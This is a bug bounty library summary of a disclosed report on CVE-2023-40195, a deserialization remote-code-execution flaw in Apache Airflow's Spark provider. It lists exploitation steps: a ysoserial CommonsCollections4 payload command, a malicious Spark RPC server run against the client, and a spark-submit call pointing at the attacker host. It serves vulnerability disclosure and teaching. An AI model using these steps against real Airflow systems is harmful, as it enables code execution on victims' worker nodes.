# CVE-2023-40195: Apache Airflow Spark Provider Deserialization Vulnerability RCE

Airflow Spark provider deserializes data from a user-configured Spark master; pointing the connection at a malicious server yields RCE on the Airflow worker.

- Payout: hidden
- Severity: medium
- Program: Internet Bug Bounty
- Found by (vendor credit): happyhacking-k
- Found by: x_h1
- Disclosed: 2023-09-08
- CVE: CVE-2023-40195
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/2127968
- Library page: https://bugbountylibrary.com/r/h1%3A2127968
- Tags: area:cloud domain:infra impact:rce kind:bounty platform:hackerone sev:medium tech:java tech:python technique:reverse-engineering vuln:deserialization vuln:rce

**Target:** Airflow Spark provider / SparkSubmitOperator connecting to Spark master
**Root cause:** PySpark client deserializes RPC responses from the configured Spark master without trust validation; a user with permission to edit Spark connections can set an attacker-controlled host/port.
**Steps:**
1. Create Spark connection `spark_default` with Host `spark://172.31.76.174` and Port `8888` (attacker server).
2. Generate payload: `java -jar ysoserial.jar CommonsCollections4 "touch /tmp/thisisRCE" > exp.der`.
3. Start malicious server: `python2 evil_spark_server.py 8888 exp.der` which replies to RPC with a serialized payload.
4. Trigger a DAG using SparkSubmitOperator, e.g. `spark-submit --master spark://172.31.76.174:8888 --name arrow-spark /tmp/file`.
5. Client deserializes server response, executing the command on the Airflow worker.
**How found:** Reasoning from Spark's RPC protocol being serialize/deserialize based: since PySpark acts as client to the Spark server, a malicious server can attack the client via deserialization, and Airflow lets users configure that server address.
**Exploitation:** Attacker with Spark connection edit rights points the master at a malicious server that speaks the Spark RPC protocol and returns a ysoserial CommonsCollections4 gadget payload; the PySpark client deserializes it during job submission, executing arbitrary commands on the Airflow worker node.
**Insight:** When a product lets users set a remote endpoint that its client library talks to, check whether that client deserializes server responses (Spark, JMX, RMI, JNDI-style protocols) — a malicious endpoint becomes a deserialization RCE against the client host.